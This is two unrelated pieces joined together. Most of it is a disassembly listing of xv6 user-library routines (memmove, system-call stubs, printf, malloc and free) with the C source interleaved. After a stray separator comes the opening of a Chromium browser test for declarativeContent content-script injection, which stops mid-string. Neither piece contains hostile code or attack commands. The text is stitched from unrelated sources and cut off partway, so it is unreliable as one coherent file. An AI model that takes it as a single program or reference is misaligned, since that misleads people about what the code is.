3e6f: c3 ret
00003e70 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3e70: 55 push %ebp
3e71: 89 e5 mov %esp,%ebp
3e73: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
3e76: 8b 45 08 mov 0x8(%ebp),%eax
3e79: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
3e7c: 8b 45 0c mov 0xc(%ebp),%eax
3e7f: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
3e82: eb 17 jmp 3e9b <memmove+0x2b>
*dst++ = *src++;
3e84: 8b 45 fc mov -0x4(%ebp),%eax
3e87: 8d 50 01 lea 0x1(%eax),%edx
3e8a: 89 55 fc mov %edx,-0x4(%ebp)
3e8d: 8b 55 f8 mov -0x8(%ebp),%edx
3e90: 8d 4a 01 lea 0x1(%edx),%ecx
3e93: 89 4d f8 mov %ecx,-0x8(%ebp)
3e96: 0f b6 12 movzbl (%edx),%edx
3e99: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3e9b: 8b 45 10 mov 0x10(%ebp),%eax
3e9e: 8d 50 ff lea -0x1(%eax),%edx
3ea1: 89 55 10 mov %edx,0x10(%ebp)
3ea4: 85 c0 test %eax,%eax
3ea6: 7f dc jg 3e84 <memmove+0x14>
*dst++ = *src++;
return vdst;
3ea8: 8b 45 08 mov 0x8(%ebp),%eax
}
3eab: c9 leave
3eac: c3 ret
00003ead <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
3ead: b8 01 00 00 00 mov $0x1,%eax
3eb2: cd 40 int $0x40
3eb4: c3 ret
00003eb5 <exit>:
SYSCALL(exit)
3eb5: b8 02 00 00 00 mov $0x2,%eax
3eba: cd 40 int $0x40
3ebc: c3 ret
00003ebd <wait>:
SYSCALL(wait)
3ebd: b8 03 00 00 00 mov $0x3,%eax
3ec2: cd 40 int $0x40
3ec4: c3 ret
00003ec5 <pipe>:
SYSCALL(pipe)
3ec5: b8 04 00 00 00 mov $0x4,%eax
3eca: cd 40 int $0x40
3ecc: c3 ret
00003ecd <read>:
SYSCALL(read)
3ecd: b8 05 00 00 00 mov $0x5,%eax
3ed2: cd 40 int $0x40
3ed4: c3 ret
00003ed5 <write>:
SYSCALL(write)
3ed5: b8 10 00 00 00 mov $0x10,%eax
3eda: cd 40 int $0x40
3edc: c3 ret
00003edd <close>:
SYSCALL(close)
3edd: b8 15 00 00 00 mov $0x15,%eax
3ee2: cd 40 int $0x40
3ee4: c3 ret
00003ee5 <kill>:
SYSCALL(kill)
3ee5: b8 06 00 00 00 mov $0x6,%eax
3eea: cd 40 int $0x40
3eec: c3 ret
00003eed <exec>:
SYSCALL(exec)
3eed: b8 07 00 00 00 mov $0x7,%eax
3ef2: cd 40 int $0x40
3ef4: c3 ret
00003ef5 <open>:
SYSCALL(open)
3ef5: b8 0f 00 00 00 mov $0xf,%eax
3efa: cd 40 int $0x40
3efc: c3 ret
00003efd <mknod>:
SYSCALL(mknod)
3efd: b8 11 00 00 00 mov $0x11,%eax
3f02: cd 40 int $0x40
3f04: c3 ret
00003f05 <unlink>:
SYSCALL(unlink)
3f05: b8 12 00 00 00 mov $0x12,%eax
3f0a: cd 40 int $0x40
3f0c: c3 ret
00003f0d <fstat>:
SYSCALL(fstat)
3f0d: b8 08 00 00 00 mov $0x8,%eax
3f12: cd 40 int $0x40
3f14: c3 ret
00003f15 <link>:
SYSCALL(link)
3f15: b8 13 00 00 00 mov $0x13,%eax
3f1a: cd 40 int $0x40
3f1c: c3 ret
00003f1d <mkdir>:
SYSCALL(mkdir)
3f1d: b8 14 00 00 00 mov $0x14,%eax
3f22: cd 40 int $0x40
3f24: c3 ret
00003f25 <chdir>:
SYSCALL(chdir)
3f25: b8 09 00 00 00 mov $0x9,%eax
3f2a: cd 40 int $0x40
3f2c: c3 ret
00003f2d <dup>:
SYSCALL(dup)
3f2d: b8 0a 00 00 00 mov $0xa,%eax
3f32: cd 40 int $0x40
3f34: c3 ret
00003f35 <getpid>:
SYSCALL(getpid)
3f35: b8 0b 00 00 00 mov $0xb,%eax
3f3a: cd 40 int $0x40
3f3c: c3 ret
00003f3d <sbrk>:
SYSCALL(sbrk)
3f3d: b8 0c 00 00 00 mov $0xc,%eax
3f42: cd 40 int $0x40
3f44: c3 ret
00003f45 <sleep>:
SYSCALL(sleep)
3f45: b8 0d 00 00 00 mov $0xd,%eax
3f4a: cd 40 int $0x40
3f4c: c3 ret
00003f4d <uptime>:
SYSCALL(uptime)
3f4d: b8 0e 00 00 00 mov $0xe,%eax
3f52: cd 40 int $0x40
3f54: c3 ret
00003f55 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3f55: 55 push %ebp
3f56: 89 e5 mov %esp,%ebp
3f58: 83 ec 18 sub $0x18,%esp
3f5b: 8b 45 0c mov 0xc(%ebp),%eax
3f5e: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3f61: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3f68: 00
3f69: 8d 45 f4 lea -0xc(%ebp),%eax
3f6c: 89 44 24 04 mov %eax,0x4(%esp)
3f70: 8b 45 08 mov 0x8(%ebp),%eax
3f73: 89 04 24 mov %eax,(%esp)
3f76: e8 5a ff ff ff call 3ed5 <write>
}
3f7b: c9 leave
3f7c: c3 ret
00003f7d <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3f7d: 55 push %ebp
3f7e: 89 e5 mov %esp,%ebp
3f80: 56 push %esi
3f81: 53 push %ebx
3f82: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3f85: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3f8c: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3f90: 74 17 je 3fa9 <printint+0x2c>
3f92: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3f96: 79 11 jns 3fa9 <printint+0x2c>
neg = 1;
3f98: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3f9f: 8b 45 0c mov 0xc(%ebp),%eax
3fa2: f7 d8 neg %eax
3fa4: 89 45 ec mov %eax,-0x14(%ebp)
3fa7: eb 06 jmp 3faf <printint+0x32>
} else {
x = xx;
3fa9: 8b 45 0c mov 0xc(%ebp),%eax
3fac: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3faf: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3fb6: 8b 4d f4 mov -0xc(%ebp),%ecx
3fb9: 8d 41 01 lea 0x1(%ecx),%eax
3fbc: 89 45 f4 mov %eax,-0xc(%ebp)
3fbf: 8b 5d 10 mov 0x10(%ebp),%ebx
3fc2: 8b 45 ec mov -0x14(%ebp),%eax
3fc5: ba 00 00 00 00 mov $0x0,%edx
3fca: f7 f3 div %ebx
3fcc: 89 d0 mov %edx,%eax
3fce: 0f b6 80 cc 62 00 00 movzbl 0x62cc(%eax),%eax
3fd5: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
3fd9: 8b 75 10 mov 0x10(%ebp),%esi
3fdc: 8b 45 ec mov -0x14(%ebp),%eax
3fdf: ba 00 00 00 00 mov $0x0,%edx
3fe4: f7 f6 div %esi
3fe6: 89 45 ec mov %eax,-0x14(%ebp)
3fe9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3fed: 75 c7 jne 3fb6 <printint+0x39>
if(neg)
3fef: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3ff3: 74 10 je 4005 <printint+0x88>
buf[i++] = '-';
3ff5: 8b 45 f4 mov -0xc(%ebp),%eax
3ff8: 8d 50 01 lea 0x1(%eax),%edx
3ffb: 89 55 f4 mov %edx,-0xc(%ebp)
3ffe: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4003: eb 1f jmp 4024 <printint+0xa7>
4005: eb 1d jmp 4024 <printint+0xa7>
putc(fd, buf[i]);
4007: 8d 55 dc lea -0x24(%ebp),%edx
400a: 8b 45 f4 mov -0xc(%ebp),%eax
400d: 01 d0 add %edx,%eax
400f: 0f b6 00 movzbl (%eax),%eax
4012: 0f be c0 movsbl %al,%eax
4015: 89 44 24 04 mov %eax,0x4(%esp)
4019: 8b 45 08 mov 0x8(%ebp),%eax
401c: 89 04 24 mov %eax,(%esp)
401f: e8 31 ff ff ff call 3f55 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4024: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4028: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
402c: 79 d9 jns 4007 <printint+0x8a>
putc(fd, buf[i]);
}
402e: 83 c4 30 add $0x30,%esp
4031: 5b pop %ebx
4032: 5e pop %esi
4033: 5d pop %ebp
4034: c3 ret
00004035 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4035: 55 push %ebp
4036: 89 e5 mov %esp,%ebp
4038: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
403b: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4042: 8d 45 0c lea 0xc(%ebp),%eax
4045: 83 c0 04 add $0x4,%eax
4048: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
404b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4052: e9 7c 01 00 00 jmp 41d3 <printf+0x19e>
c = fmt[i] & 0xff;
4057: 8b 55 0c mov 0xc(%ebp),%edx
405a: 8b 45 f0 mov -0x10(%ebp),%eax
405d: 01 d0 add %edx,%eax
405f: 0f b6 00 movzbl (%eax),%eax
4062: 0f be c0 movsbl %al,%eax
4065: 25 ff 00 00 00 and $0xff,%eax
406a: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
406d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4071: 75 2c jne 409f <printf+0x6a>
if(c == '%'){
4073: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4077: 75 0c jne 4085 <printf+0x50>
state = '%';
4079: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4080: e9 4a 01 00 00 jmp 41cf <printf+0x19a>
} else {
putc(fd, c);
4085: 8b 45 e4 mov -0x1c(%ebp),%eax
4088: 0f be c0 movsbl %al,%eax
408b: 89 44 24 04 mov %eax,0x4(%esp)
408f: 8b 45 08 mov 0x8(%ebp),%eax
4092: 89 04 24 mov %eax,(%esp)
4095: e8 bb fe ff ff call 3f55 <putc>
409a: e9 30 01 00 00 jmp 41cf <printf+0x19a>
}
} else if(state == '%'){
409f: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
40a3: 0f 85 26 01 00 00 jne 41cf <printf+0x19a>
if(c == 'd'){
40a9: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
40ad: 75 2d jne 40dc <printf+0xa7>
printint(fd, *ap, 10, 1);
40af: 8b 45 e8 mov -0x18(%ebp),%eax
40b2: 8b 00 mov (%eax),%eax
40b4: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
40bb: 00
40bc: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
40c3: 00
40c4: 89 44 24 04 mov %eax,0x4(%esp)
40c8: 8b 45 08 mov 0x8(%ebp),%eax
40cb: 89 04 24 mov %eax,(%esp)
40ce: e8 aa fe ff ff call 3f7d <printint>
ap++;
40d3: 83 45 e8 04 addl $0x4,-0x18(%ebp)
40d7: e9 ec 00 00 00 jmp 41c8 <printf+0x193>
} else if(c == 'x' || c == 'p'){
40dc: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
40e0: 74 06 je 40e8 <printf+0xb3>
40e2: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
40e6: 75 2d jne 4115 <printf+0xe0>
printint(fd, *ap, 16, 0);
40e8: 8b 45 e8 mov -0x18(%ebp),%eax
40eb: 8b 00 mov (%eax),%eax
40ed: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
40f4: 00
40f5: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
40fc: 00
40fd: 89 44 24 04 mov %eax,0x4(%esp)
4101: 8b 45 08 mov 0x8(%ebp),%eax
4104: 89 04 24 mov %eax,(%esp)
4107: e8 71 fe ff ff call 3f7d <printint>
ap++;
410c: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4110: e9 b3 00 00 00 jmp 41c8 <printf+0x193>
} else if(c == 's'){
4115: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
4119: 75 45 jne 4160 <printf+0x12b>
s = (char*)*ap;
411b: 8b 45 e8 mov -0x18(%ebp),%eax
411e: 8b 00 mov (%eax),%eax
4120: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
4123: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
4127: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
412b: 75 09 jne 4136 <printf+0x101>
s = "(null)";
412d: c7 45 f4 ce 5b 00 00 movl $0x5bce,-0xc(%ebp)
while(*s != 0){
4134: eb 1e jmp 4154 <printf+0x11f>
4136: eb 1c jmp 4154 <printf+0x11f>
putc(fd, *s);
4138: 8b 45 f4 mov -0xc(%ebp),%eax
413b: 0f b6 00 movzbl (%eax),%eax
413e: 0f be c0 movsbl %al,%eax
4141: 89 44 24 04 mov %eax,0x4(%esp)
4145: 8b 45 08 mov 0x8(%ebp),%eax
4148: 89 04 24 mov %eax,(%esp)
414b: e8 05 fe ff ff call 3f55 <putc>
s++;
4150: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
4154: 8b 45 f4 mov -0xc(%ebp),%eax
4157: 0f b6 00 movzbl (%eax),%eax
415a: 84 c0 test %al,%al
415c: 75 da jne 4138 <printf+0x103>
415e: eb 68 jmp 41c8 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4160: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
4164: 75 1d jne 4183 <printf+0x14e>
putc(fd, *ap);
4166: 8b 45 e8 mov -0x18(%ebp),%eax
4169: 8b 00 mov (%eax),%eax
416b: 0f be c0 movsbl %al,%eax
416e: 89 44 24 04 mov %eax,0x4(%esp)
4172: 8b 45 08 mov 0x8(%ebp),%eax
4175: 89 04 24 mov %eax,(%esp)
4178: e8 d8 fd ff ff call 3f55 <putc>
ap++;
417d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4181: eb 45 jmp 41c8 <printf+0x193>
} else if(c == '%'){
4183: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4187: 75 17 jne 41a0 <printf+0x16b>
putc(fd, c);
4189: 8b 45 e4 mov -0x1c(%ebp),%eax
418c: 0f be c0 movsbl %al,%eax
418f: 89 44 24 04 mov %eax,0x4(%esp)
4193: 8b 45 08 mov 0x8(%ebp),%eax
4196: 89 04 24 mov %eax,(%esp)
4199: e8 b7 fd ff ff call 3f55 <putc>
419e: eb 28 jmp 41c8 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
41a0: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
41a7: 00
41a8: 8b 45 08 mov 0x8(%ebp),%eax
41ab: 89 04 24 mov %eax,(%esp)
41ae: e8 a2 fd ff ff call 3f55 <putc>
putc(fd, c);
41b3: 8b 45 e4 mov -0x1c(%ebp),%eax
41b6: 0f be c0 movsbl %al,%eax
41b9: 89 44 24 04 mov %eax,0x4(%esp)
41bd: 8b 45 08 mov 0x8(%ebp),%eax
41c0: 89 04 24 mov %eax,(%esp)
41c3: e8 8d fd ff ff call 3f55 <putc>
}
state = 0;
41c8: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
41cf: 83 45 f0 01 addl $0x1,-0x10(%ebp)
41d3: 8b 55 0c mov 0xc(%ebp),%edx
41d6: 8b 45 f0 mov -0x10(%ebp),%eax
41d9: 01 d0 add %edx,%eax
41db: 0f b6 00 movzbl (%eax),%eax
41de: 84 c0 test %al,%al
41e0: 0f 85 71 fe ff ff jne 4057 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
41e6: c9 leave
41e7: c3 ret
000041e8 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
41e8: 55 push %ebp
41e9: 89 e5 mov %esp,%ebp
41eb: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
41ee: 8b 45 08 mov 0x8(%ebp),%eax
41f1: 83 e8 08 sub $0x8,%eax
41f4: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
41f7: a1 68 63 00 00 mov 0x6368,%eax
41fc: 89 45 fc mov %eax,-0x4(%ebp)
41ff: eb 24 jmp 4225 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
4201: 8b 45 fc mov -0x4(%ebp),%eax
4204: 8b 00 mov (%eax),%eax
4206: 3b 45 fc cmp -0x4(%ebp),%eax
4209: 77 12 ja 421d <free+0x35>
420b: 8b 45 f8 mov -0x8(%ebp),%eax
420e: 3b 45 fc cmp -0x4(%ebp),%eax
4211: 77 24 ja 4237 <free+0x4f>
4213: 8b 45 fc mov -0x4(%ebp),%eax
4216: 8b 00 mov (%eax),%eax
4218: 3b 45 f8 cmp -0x8(%ebp),%eax
421b: 77 1a ja 4237 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
421d: 8b 45 fc mov -0x4(%ebp),%eax
4220: 8b 00 mov (%eax),%eax
4222: 89 45 fc mov %eax,-0x4(%ebp)
4225: 8b 45 f8 mov -0x8(%ebp),%eax
4228: 3b 45 fc cmp -0x4(%ebp),%eax
422b: 76 d4 jbe 4201 <free+0x19>
422d: 8b 45 fc mov -0x4(%ebp),%eax
4230: 8b 00 mov (%eax),%eax
4232: 3b 45 f8 cmp -0x8(%ebp),%eax
4235: 76 ca jbe 4201 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
4237: 8b 45 f8 mov -0x8(%ebp),%eax
423a: 8b 40 04 mov 0x4(%eax),%eax
423d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
4244: 8b 45 f8 mov -0x8(%ebp),%eax
4247: 01 c2 add %eax,%edx
4249: 8b 45 fc mov -0x4(%ebp),%eax
424c: 8b 00 mov (%eax),%eax
424e: 39 c2 cmp %eax,%edx
4250: 75 24 jne 4276 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
4252: 8b 45 f8 mov -0x8(%ebp),%eax
4255: 8b 50 04 mov 0x4(%eax),%edx
4258: 8b 45 fc mov -0x4(%ebp),%eax
425b: 8b 00 mov (%eax),%eax
425d: 8b 40 04 mov 0x4(%eax),%eax
4260: 01 c2 add %eax,%edx
4262: 8b 45 f8 mov -0x8(%ebp),%eax
4265: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
4268: 8b 45 fc mov -0x4(%ebp),%eax
426b: 8b 00 mov (%eax),%eax
426d: 8b 10 mov (%eax),%edx
426f: 8b 45 f8 mov -0x8(%ebp),%eax
4272: 89 10 mov %edx,(%eax)
4274: eb 0a jmp 4280 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
4276: 8b 45 fc mov -0x4(%ebp),%eax
4279: 8b 10 mov (%eax),%edx
427b: 8b 45 f8 mov -0x8(%ebp),%eax
427e: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
4280: 8b 45 fc mov -0x4(%ebp),%eax
4283: 8b 40 04 mov 0x4(%eax),%eax
4286: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
428d: 8b 45 fc mov -0x4(%ebp),%eax
4290: 01 d0 add %edx,%eax
4292: 3b 45 f8 cmp -0x8(%ebp),%eax
4295: 75 20 jne 42b7 <free+0xcf>
p->s.size += bp->s.size;
4297: 8b 45 fc mov -0x4(%ebp),%eax
429a: 8b 50 04 mov 0x4(%eax),%edx
429d: 8b 45 f8 mov -0x8(%ebp),%eax
42a0: 8b 40 04 mov 0x4(%eax),%eax
42a3: 01 c2 add %eax,%edx
42a5: 8b 45 fc mov -0x4(%ebp),%eax
42a8: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
42ab: 8b 45 f8 mov -0x8(%ebp),%eax
42ae: 8b 10 mov (%eax),%edx
42b0: 8b 45 fc mov -0x4(%ebp),%eax
42b3: 89 10 mov %edx,(%eax)
42b5: eb 08 jmp 42bf <free+0xd7>
} else
p->s.ptr = bp;
42b7: 8b 45 fc mov -0x4(%ebp),%eax
42ba: 8b 55 f8 mov -0x8(%ebp),%edx
42bd: 89 10 mov %edx,(%eax)
freep = p;
42bf: 8b 45 fc mov -0x4(%ebp),%eax
42c2: a3 68 63 00 00 mov %eax,0x6368
}
42c7: c9 leave
42c8: c3 ret
000042c9 <morecore>:
static Header*
morecore(uint nu)
{
42c9: 55 push %ebp
42ca: 89 e5 mov %esp,%ebp
42cc: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
42cf: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
42d6: 77 07 ja 42df <morecore+0x16>
nu = 4096;
42d8: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
42df: 8b 45 08 mov 0x8(%ebp),%eax
42e2: c1 e0 03 shl $0x3,%eax
42e5: 89 04 24 mov %eax,(%esp)
42e8: e8 50 fc ff ff call 3f3d <sbrk>
42ed: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
42f0: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
42f4: 75 07 jne 42fd <morecore+0x34>
return 0;
42f6: b8 00 00 00 00 mov $0x0,%eax
42fb: eb 22 jmp 431f <morecore+0x56>
hp = (Header*)p;
42fd: 8b 45 f4 mov -0xc(%ebp),%eax
4300: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
4303: 8b 45 f0 mov -0x10(%ebp),%eax
4306: 8b 55 08 mov 0x8(%ebp),%edx
4309: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
430c: 8b 45 f0 mov -0x10(%ebp),%eax
430f: 83 c0 08 add $0x8,%eax
4312: 89 04 24 mov %eax,(%esp)
4315: e8 ce fe ff ff call 41e8 <free>
return freep;
431a: a1 68 63 00 00 mov 0x6368,%eax
}
431f: c9 leave
4320: c3 ret
00004321 <malloc>:
void*
malloc(uint nbytes)
{
4321: 55 push %ebp
4322: 89 e5 mov %esp,%ebp
4324: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
4327: 8b 45 08 mov 0x8(%ebp),%eax
432a: 83 c0 07 add $0x7,%eax
432d: c1 e8 03 shr $0x3,%eax
4330: 83 c0 01 add $0x1,%eax
4333: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
4336: a1 68 63 00 00 mov 0x6368,%eax
433b: 89 45 f0 mov %eax,-0x10(%ebp)
433e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4342: 75 23 jne 4367 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
4344: c7 45 f0 60 63 00 00 movl $0x6360,-0x10(%ebp)
434b: 8b 45 f0 mov -0x10(%ebp),%eax
434e: a3 68 63 00 00 mov %eax,0x6368
4353: a1 68 63 00 00 mov 0x6368,%eax
4358: a3 60 63 00 00 mov %eax,0x6360
base.s.size = 0;
435d: c7 05 64 63 00 00 00 movl $0x0,0x6364
4364: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
4367: 8b 45 f0 mov -0x10(%ebp),%eax
436a: 8b 00 mov (%eax),%eax
436c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
436f: 8b 45 f4 mov -0xc(%ebp),%eax
4372: 8b 40 04 mov 0x4(%eax),%eax
4375: 3b 45 ec cmp -0x14(%ebp),%eax
4378: 72 4d jb 43c7 <malloc+0xa6>
if(p->s.size == nunits)
437a: 8b 45 f4 mov -0xc(%ebp),%eax
437d: 8b 40 04 mov 0x4(%eax),%eax
4380: 3b 45 ec cmp -0x14(%ebp),%eax
4383: 75 0c jne 4391 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
4385: 8b 45 f4 mov -0xc(%ebp),%eax
4388: 8b 10 mov (%eax),%edx
438a: 8b 45 f0 mov -0x10(%ebp),%eax
438d: 89 10 mov %edx,(%eax)
438f: eb 26 jmp 43b7 <malloc+0x96>
else {
p->s.size -= nunits;
4391: 8b 45 f4 mov -0xc(%ebp),%eax
4394: 8b 40 04 mov 0x4(%eax),%eax
4397: 2b 45 ec sub -0x14(%ebp),%eax
439a: 89 c2 mov %eax,%edx
439c: 8b 45 f4 mov -0xc(%ebp),%eax
439f: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
43a2: 8b 45 f4 mov -0xc(%ebp),%eax
43a5: 8b 40 04 mov 0x4(%eax),%eax
43a8: c1 e0 03 shl $0x3,%eax
43ab: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
43ae: 8b 45 f4 mov -0xc(%ebp),%eax
43b1: 8b 55 ec mov -0x14(%ebp),%edx
43b4: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
43b7: 8b 45 f0 mov -0x10(%ebp),%eax
43ba: a3 68 63 00 00 mov %eax,0x6368
return (void*)(p + 1);
43bf: 8b 45 f4 mov -0xc(%ebp),%eax
43c2: 83 c0 08 add $0x8,%eax
43c5: eb 38 jmp 43ff <malloc+0xde>
}
if(p == freep)
43c7: a1 68 63 00 00 mov 0x6368,%eax
43cc: 39 45 f4 cmp %eax,-0xc(%ebp)
43cf: 75 1b jne 43ec <malloc+0xcb>
if((p = morecore(nunits)) == 0)
43d1: 8b 45 ec mov -0x14(%ebp),%eax
43d4: 89 04 24 mov %eax,(%esp)
43d7: e8 ed fe ff ff call 42c9 <morecore>
43dc: 89 45 f4 mov %eax,-0xc(%ebp)
43df: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
43e3: 75 07 jne 43ec <malloc+0xcb>
return 0;
43e5: b8 00 00 00 00 mov $0x0,%eax
43ea: eb 13 jmp 43ff <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
43ec: 8b 45 f4 mov -0xc(%ebp),%eax
43ef: 89 45 f0 mov %eax,-0x10(%ebp)
43f2: 8b 45 f4 mov -0xc(%ebp),%eax
43f5: 8b 00 mov (%eax),%eax
43f7: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
43fa: e9 70 ff ff ff jmp 436f <malloc+0x4e>
}
43ff: c9 leave
4400: c3 ret
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/files/file_path.h"
#include "base/macros.h"
#include "base/strings/stringprintf.h"
#include "chrome/browser/extensions/extension_browsertest.h"
#include "chrome/browser/extensions/test_extension_dir.h"
#include "chrome/browser/ui/browser.h"
#include "chrome/browser/ui/tabs/tab_strip_model.h"
#include "chrome/test/base/ui_test_utils.h"
#include "content/public/test/browser_test_utils.h"
#include "extensions/test/extension_test_message_listener.h"
#include "net/test/embedded_test_server/embedded_test_server.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace extensions {
namespace {
// Manifest permissions injected into |kManifest|:
const char* const kPermissions[] = {
"*://*/*", // ALL
"http://127.0.0.1/*", // PARTICULAR
"http://nowhere.com/*" // NOWHERE
};
// Script matchers for injected into |kBackgroundScriptSource|:
const char* const kScriptMatchers[] = {
"{ pageUrl: { hostContains: '' } }", // ALL
"{ pageUrl: { hostEquals: '127.0.0.1' } }", // PARTICULAR
"{ pageUrl: { hostEquals: 'nowhere.com' } }" // NOWHERE
};
enum PermissionOrMatcherType {
ALL = 0,
PARTICULAR,
NOWHERE
};
// JSON/JS sources:
const char kManifest[] =
"{\n"
" \"name\": \"Test DeclarativeContentScript\",\n"
" \"manifest_version\": 2,\n"
" \"version\": \"1.0\",\n"
" \"description\": \"Test declarative content script interface\",\n"
" \"permissions\": [\"declarativeContent\", \"%s\"],\n"
" \"background\": {\n"
" \"scripts\": [\"background.js\"]\n"
" }\n"
"}\n";
const char kBackgroundScriptSource[] =
"var declarativeContent = chrome.declarativeContent;\n"
"var PageStateMatcher = declarativeContent.PageStateMatcher;\n"
"var RequestContentScript = declarativeContent.RequestContentScript;\n"
"var onPageChanged = declarativeContent.onPageChanged;\n"
"onPageChanged.removeRules(undefined, function() {\n"
" onPageChanged.addRules(\n"
" [{\n"
" conditions: [new PageStateMatcher(%s)],\n"
